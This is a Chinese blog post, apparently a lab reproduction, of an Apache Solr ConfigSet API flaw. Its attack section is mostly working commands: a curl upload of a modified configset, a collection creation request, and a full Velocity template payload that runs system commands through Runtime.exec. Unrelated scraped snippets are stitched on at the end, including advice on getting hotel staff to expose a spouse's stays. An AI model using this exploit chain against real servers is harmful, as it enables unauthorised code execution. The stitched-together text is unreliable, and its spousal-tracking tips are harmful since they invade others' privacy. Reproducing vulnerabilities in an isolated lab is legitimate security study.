之前看某大佬的文章,自己跟着复现的,大佬腻害~~如有错误纯属我理解错误,还望指正~ヽ( ⌒ω⌒)人(=^‥^=)?
在特定的Solr版本中ConfigSet API存在未授权上传漏洞,攻击者利用漏洞可实现远程代码执行。
整个利用链流程:
上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrVelocity模板进行RCE
影响范围
Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2
solr下载地址:http://archive.apache.org/dist/lucene/solr/(本次复现环境为8.0.0)
靶机:win10 IP地址:192.168.41.129
攻击机:kali IP地址:192.168.41.132
C:\复现\solr-8.0.0\bin>solr.cmd start –c
1、解压solr-8.0.0.zip并将解压后的文件切换到/solr-8.0.0/solr-8.0.0/server/solr/configsets/_default/conf目录,找到solrconfig.xml文件,并将velocity.params.resource.loader.enabled的false修改为true,即:
name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}
并将修改后的solr-8.0.0 放到kali中
2、 然后在kali中server/solr/configsets/_default/conf/目录下打开终端,执行命令将conf目录下所有文件打包成一个压缩文件mytest.zip
zip -r - * > mytest.zip
3、由于ConfigSet API存在未授权上传, 上传mytest.zip到win10
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip http://192.168.41.129:8983/solr/admin/configs?action=UPLOAD&name=mytest
根据CREATE得到的新configset创建恶意collection:
curl "http://192.168.41.129:8983/solr/admin/collections?action=CREATE&name=mytest2
&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"
在kali的浏览器中输入地址,即可利用已上传的collection进行远程命令执行,这里执行的是whoami
http://192.168.41.129:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
PS:本文仅用于渗透测试学习,勿用于非授权测试。。可在虚拟机完成环境搭建与测试
每日好文教你怎么查老公酒店入住记录?怎么查老公和谁开宾馆?可以的,我做过前台,你可以让前台在读取一张门卡就行 你可以问问客服的,应该有办法的 可以要求酒店给你做两个门卡,去和酒店那个人说。 回来开门很...
大主宰定档...
双规和立案审查的区别在于,双规是一种非必须的措施,而立案审查是一种必经程序,用这样一句话即可概括。双规是针对着共产党员中的腐败分子,对其进行限制人身自由的措施,继而进行调查。 双规和立案审...
台风安全知识 1、台风破坏力强,但做足安全措施,就可以将损失减到最低,所以在旅游地区遭遇台风吹袭,最重要的是保持冷静,团队的游客要听从领队和导游的指挥,不要私自活动,更不要去海边观浪; 2、已经自...
马云说过:“推荐好东西给别人,不要太低三下四的委屈自己,能合作就合作,不能合作就下一个。 这是个合作共赢的年代,你若信任我,三言两语就可成交;你若不信任我,说的再多也是徒劳。️ 淘宝、京东、拼...
加盟投资是此刻很多人选择挣钱的一种方法之一,休闲饮品行业就是这些加盟投资项目中较量火热的行业。因为水是生命之源,一小我私家想要保留下去就必然要有水的存在,可是此刻的饮品行业的加盟品牌是多种多样的,产物...